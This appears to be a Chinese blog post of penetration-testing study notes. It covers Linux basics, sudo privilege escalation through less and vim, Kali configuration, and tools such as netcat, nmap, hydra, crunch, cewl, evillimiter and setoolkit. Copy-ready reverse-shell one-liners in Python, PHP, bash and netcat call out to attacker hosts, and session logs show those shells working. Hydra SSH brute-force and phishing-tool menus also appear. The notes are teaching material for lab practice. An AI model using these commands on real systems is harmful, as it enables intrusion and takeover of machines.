Web安全渗透攻防技术

web运行原理与操作系统

先导

  1. http协议:超文本传输协议,所有www文件遵循的标准,以ASCII码传输,建立在TCP/IP协议之上的应用层规范。
  2. 网络架构:
    1. C/S:客户端/服务器结构
    2. B/S: 浏览器/服务器结构
    3. P2P结构:点到点系统,客户端与客户端直接通信

一、网站搭建过程

五部分:服务器、中间件、数据库、代码、静态资源

二、常用中间件

Apache、nginx、Tomcat、IIS

三、网站运行原理

  1. 网站常用术语:客户端、服务器、IP地址、域名、DNS、IPS(互联网服务提供商)、TCP/IP、HTTP
  2. 运行过程:输入网址》浏览器与ISP通信》浏览器获取IP地址和端口》发送用户HTTP请求给服务器》服务器查询并返回相应页面。
  3. 扩展
    1. hosts文件路径:C:\Windows\System32\drivers

四、VMware 虚拟网络编辑器

桥接模式:和真实物理机进行连接,也可以正常上网。
NAT模式:无法与物理机进行连接,可以正常上网。
仅主机模式:可以和你物理机正常连接,不能上网。

Linux 基本命令

  1. 查看身份:whoami 、id
  2. 查看文件或目录:ls
  3. 查看文件内容:cat
  4. 切换目录:cd
  5. 查看当前目录:pwd
  6. 文本编辑:vi 、vim
  7. 查看网卡:ifconfig
  8. 查看通讯连接:netstat -an
  9. 权限相关:chmod 、 chown 、chattr
  10. 网络相关:wget curl
  11. 脚本解释器:sh 、bash
  12. 标准输出: echo
  13. 远程登录:ssh
  14. 服务器相关:service 、systemctl
  15. 系统防护墙操作:iptables、firewalld
  16. 退出终端:exit
  17. 添加用户:useradd
  18. 添加密码:passwd
  19. 存放密码文件:/ect/shadow
  20. 用户信息文件:/etc/passwd
  21. 技巧:当linux装有sudo命令
  22. 情景:当你使用别的用户登录系统,而不知道root密码,但是想登录到root
  23. 终端输入:sudo su # 输入当前用户的密码即可登录到root
  24. 在通过passwd修改root密码
  25. 新增用户组:groupadd
  26. 删除用户组:groupdel
  27. 杀死进程:kill
  28. 查看用户组信息:/etc/group
  29. tar解压:tar -zxvf 压缩包
  30. 权限分布:rwx==>4+2+1(7)
  31. image.png

简单认识linux漏洞

  1. centos 7 提权复现
# 进入 /etc/sudoers文件
vim /etc/sudoers
# 在 root ALL=(ALL)  ALL 下方添加配置,并保存
varin ALL=/usr/bin/less  # varin 为系统可使用的用户;less命令用户查看文件信息
# 当前用户为varin,使用less查看/etc/passwd文件信息,
sudo less /etc/passwd
#文件信息展示后,在下方输入 !/bin/bash,则可以提权到root
!/bin/bash

  1. kali 提权复现
vim /etc/sudoers
test ALL=/usr/bin/vim
su test
sudo vim -C "!bash"
# 进入到vim编辑页面 在底行命令模式输入:
:!/bin/bash
# 可以进入到root

#过程:
# ┌──(varin㉿kali)-[~]
# └─$ su test  
# Password: 
# $ sudo vim -C '!bash'
# [sudo] password for test: 

# ┌──(root㉿kali)-[/home/varin]
# └─# 
  1. Linux Polkit 权限提升漏洞(CVE-2021-4034)(待复现)

Kali linux 简介

  1. 扩展
    1. 0day:挖掘但是未公布出来的漏洞。
    2. 代理服务器
      1. vpn:在公用网络上建立专用网络,进行加密通讯。在企业网络中有广泛应用。VPN网关通过对数据包的加密和数据包目标地址的转换实现远程访问。VPN可通过服务器硬件、软件等多种方式实现。
  2. 更新源
    1. 地址:/etc/apt/sources.list
# 选择源
# 中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
# 阿里云源
deb https://mirrors.aliyun.com/debian/ bullseye main non-free contrib
deb-src https://mirrors.aliyun.com/debian/ bullseye main non-free contrib
deb https://mirrors.aliyun.com/debian-security/ bullseye-security main
deb-src https://mirrors.aliyun.com/debian-security/ bullseye-security main
deb https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib
deb-src https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib
deb https://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib
deb-src https://mirrors.aliyun.com/debian/ bullseye-backports main non-free
# 清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
# 浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
# 东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
# 重庆大学源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib

  1. 修改保存后,执行apt update
  2. ssh登录
vim /etc/ssh/sshd_config 
# 修改3条
Port 22
PermitRootLogin yes
PasswordAuthentication yes
# 修改后保存,重起ssh
service ssh restart 

Kali 工具

netcat(NC)

  1. 简介:成为网络工具中的瑞士军刀,可以在两台设备上相互交互,即侦听模式/传

image.png

# 开启10005端口的监听模式,并输出详细信息 攻击机
nc -lvp 10005
# listening on [any] 10005 ...  # 等待连接
# 靶机
nc www.varin.cn 10005

  1. 传输文件
    1. 攻击机

Last login: Wed Jun  5 09:01:50 2024 from 110.90.8.132
┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# nc -lvp 10005 >a.txt
listening on [any] 10005 ...
Warning: forward host lookup failed for 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn: Unknown host
connect to [172.29.226.231] from 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn [110.90.8.132] 2766
^C

┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# ^C

┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# ls
a.txt    Documents  Music     Public     thinclient_drives
Desktop  Downloads  Pictures  Templates  Videos

┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# cat a.txt
abc

┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─#
    
  1. 靶机

┌──(root㉿kali)-[~]
└─# echo 'abc'>varin.txt

┌──(root㉿kali)-[~]
└─# ls
10.196.93.1        Desktop    Music     SMBGhost          Videos  test.exe
39772.zip          Documents  Pictures  SMBGhost_RCE_PoC  dm3     varin.txt
CVE-2020-0796-PoC  Downloads  Public    Templates         test

┌──(root㉿kali)-[~]
└─# nc www.varin.cn 10005 <varin.txt

┌──(root㉿kali)-[~]
└─#
    
  1. 正向shell
    1. 正向:目标机器主动发起shell,攻击机来连接
    2. 靶机

┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# nc -lvp 10005 -e /bin/bash
listening on [any] 10005 ...
Warning: forward host lookup failed for 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn: Unknown host
connect to [172.29.226.231] from 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn [110.90.8.132] 2865

    
  1. 攻击机
┌──(root㉿kali)-[~]
└─# nc www.varin.cn 10005
ls
a.txt
Desktop
Documents
Downloads
Music

  1. 反向shell
    1. 反向:攻击机开启监听,目标服务器发出shell
    2. 攻击机
┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# nc -lvp 10005
listening on [any] 10005 ...
Warning: forward host lookup failed for 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn: Unknown host
connect to [172.29.226.231] from 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn [110.90.8.132] 3112

ls
# 10.196.93.1
# 39772.zip
# CVE-2020-0796-PoC
# Desktop
# Documents
# Downloads
# Music
# Pictures
# Public
# SMBGhost
# SMBGhost_RCE_PoC
# Templates
# Videos
# dm3
# test
# test.exe
varin.txt
python -c "import pty;pty.spawn('/bin/bash')"
┌──(root㉿kali)-[~]
└─# ls
ls
# 10.196.93.1        Desktop    Music     SMBGhost          Videos  test.exe
# 39772.zip          Documents  Pictures  SMBGhost_RCE_PoC  dm3     varin.txt
# CVE-2020-0796-PoC  Downloads  Public    Templates         test

┌──(root㉿kali)-[~]
└─# cd /home
cd /home

┌──(root㉿kali)-[/home]
└─# ls
ls
# perm.txt  varin


  1. 靶机
    
┌──(root㉿kali)-[~]
└─# nc www.varin.cn 10005 -e '/bin/bash'

  1. 正向和反向的区别:
    1. 正向
      1. 需要考虑防火墙的端口策略,(服务器没有开放端口,就算发起监听也连接不上)
      2. 场景:内网,机器不出网情况
    2. 反向
      1. 可以控制攻击机的端口开放,不需要考虑防火墙端口策略。
  2. 其他方法反弹shell
    1. window(反向)
# 靶机 windows
nc www.varin.cn 1005 -e C:/windowns/system32/cmd.exe
# 攻击机
nc -lvp 10005
  1. python 反弹
# 修改IP 端口
# 注意 如果第一次连接失败,可以尝试将 /bin/bash 修改为  /bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    
  1. php 反弹
# 修改IP 端口
# 注意 如果第一次连接失败,可以尝试将 /bin/bash 修改为  /bin/sh
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

  1. bash 反弹
# 修改IP 端口
bash -i >& /dev/tcp/www.varin.cn/10005 0>&1

nmap

  1. 简介:开源免费的网络发现和安全审计工具
    1. 漏洞扫描 nmap --script=vuln ip
    2. 端口扫描nmap ip -p 1-65535 -T4 -A -v
    3. 局域网扫描在线IP nmap -sP 192.168.1.0/24
    4. 脚本工具路径:/usr/share/nmap/scripts
  2. 状态及含义

image.png

hydra

  1. 简介:hydra(九头蛇),登录爆破工具,几乎可以爆破各种协议的登录,比如window的远程桌面、ssh、ftp、路由交换设备等。可以在线破解多种密码
  2. 使用前提:
    1. 需要有字典。
  3. 常用参数
# 
# l 用户名
# L 用户名字典
# P 密码字典
# p 密码
# F 匹配成功结束
# t 线程数量
# v 详细信息

# 案例
 hydra -l varin -p varin ssh://192.168.198.129:22 -F
 # 结果
# Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

# Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-06 08:46:00
# [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
# [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
# [DATA] attacking ssh://192.168.198.129:22/
# [22][ssh] host: 192.168.198.129   login: varin   password: varin
# [STATUS] attack finished for 192.168.198.129 (valid pair found)
# 1 of 1 target successfully completed, 1 valid password found
# Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-06 08:46:01


crunch

  1. 简介:创建密码字典工具,按照指定规则生成密码字典,可以灵活的制定自己的字典文件。
  2. 密码库:/usr/share/crunch/charset.lst
    1. 根据密码库生成密码字典
# -f 根据密码库中的模块名生成对应密码字典
# -o 指定保存位置
crunch 6 6 -f /usr/share/crunch/charset.lst  hex-lower -o 1.txt
  1. 使用
 # 生成 8 到12位包含123的字典
┌──(root㉿kali)-[~/temp]
└─# crunch 8 12 123 >passwd1.txt
Crunch will now generate the following amount of data: 9939915 bytes
9 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 793881

┌──(root㉿kali)-[~/temp]

cewl

  1. 你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
  2. 使用:

#  -w  生成字典保存位置
#  -m 生成密码位数
┌──(root㉿kali)-[~/temp]
└─# touch passwd.txt

┌──(root㉿kali)-[~/temp]
└─# ls
passwd.txt

┌──(root㉿kali)-[~/temp]
└─# cewl http://www.baidu.com -w passwd.txt
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

┌──(root㉿kali)-[~/temp]
└─# ll
total 16
-rw-r--r-- 1 root root 15253 Jun  6 08:57 passwd.txt
# 结果
┌──(root㉿kali)-[~/temp]
└─# cat passwd.txt
color
new
pmd
border
background
width
height
margin
font

ettercap劫持

  1. 开启一个网站
# 开启apache2中间件,使用ip默认访问apache2页面
servservice apache2 start

# 网站保存位置 :/var/www/html
┌──(root㉿kali)-[/var/www/html]
└─# ls
index.html  index.nginx-debian.html  

image.png

  1. 首页修改为代码雨
# 删除原文件 rm -rf index.hmlt
# 新建原文件并添加代码雨内容
rm -rf index.html
vim index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Code</title>
    <style>
        body{
            margin: 0;
            overflow: hidden;
        }
    </style>
</head>

<body>
<canvas id="myCanvas"></canvas>
<script>
    const width = document.getElementById("myCanvas").width = screen.availWidth;
    const height = document.getElementById("myCanvas").height = screen.availHeight;
    const ctx = document.getElementById("myCanvas").getContext("2d");
    const arr = Array(Math.ceil(width / 10)).fill(0);
    const str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split("");

function rain() {
    ctx.fillStyle = "rgba(0,0,0,0.05)";
    ctx.fillRect(0, 0, width, height);
    ctx.fillStyle = "#0f0";
    arr.forEach(function (value, index) {
        ctx.fillText(str[Math.floor(Math.random() * str.length)], index * 10, value + 10);
        arr[index] = value >= height || value > 8888 * Math.random() ? 0 : value + 10;
    });
}

setInterval(rain, 30);
</script>
</body>
</html>

  1. 效果

image.png

  1. 操作详情请参考:https://blog.csdn.net/CBNBC/article/details/134998817

evillimiter

  1. 安装
git clone https://github.com/bitbrute/evillimiter.git
cd evillimiter
sudo python3 setup.py install
  1. 运行
                                                                             
evillimiter

# ███████╗██╗   ██╗██╗██╗       ██╗     ██╗███╗   ███╗██╗████████╗███████╗██████╗ 
# ██╔════╝██║   ██║██║██║       ██║     ██║████╗ ████║██║╚══██╔══╝██╔════╝██╔══██╗
# █████╗  ██║   ██║██║██║       ██║     ██║██╔████╔██║██║   ██║   █████╗  ██████╔╝                                                                          
# ██╔══╝  ╚██╗ ██╔╝██║██║       ██║     ██║██║╚██╔╝██║██║   ██║   ██╔══╝  ██╔══██╗                                                                          
# ███████╗ ╚████╔╝ ██║███████╗  ███████╗██║██║ ╚═╝ ██║██║   ██║   ███████╗██║  ██║                                                                          
# ╚══════╝  ╚═══╝  ╚═╝╚══════╝  ╚══════╝╚═╝╚═╝     ╚═╝╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝                                                                          
#                 by bitbrute  ~  limit devices on your network :3             
#                                     v1.5.0


# OK   interface: eth1
# OK   gateway ip: 192.168.198.2
# OK   gateway mac: 00:50:56:f7:f2:9c
# OK   netmask: 255.255.255.0

# type help or ? to show command information.
# (Main) >>> 

  1. 基本操作
    1. 进入:evillimiter
    2. 扫描:scan
    3. 查看扫描数据:hosts
    4. 进行网络限速
#limit + housts编号  + 限速
# 1kbit 为限速为1kb
limit  0 1kbit
#或者
#limit + ip + 限速
limit 192.168.0.1 1kbit

setoolkit

setoolkit
# 主菜单 功能
# 1)Spear-Phishing Attack Vectors:鱼叉式网络钓鱼攻击向量

# 2)Website Attack Vectors:网页攻击向量

# 3)Infectious Media Generator:感染式媒介生成器

# 4) Create a Payload and Listener:创建Payload和Listener

# 5)Mass Mailer Attack:海量邮件攻击

# 6)Arduino-Based Attack Vector:基于Arduino的硬件攻击向量

# 7)Wireless Access Point Attack Vector:无线热点攻击向量

# 8)QRCode Generator Attack Vector:二维码攻击向量

# 9)Powershell Attack Vectors:Powershell攻击向量

# 10)Third Party Modules:第三方模块

# 99)返回到主菜单。
============================================= 

  1. 网页攻击向量 子功能目录

image.png

  • 28
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值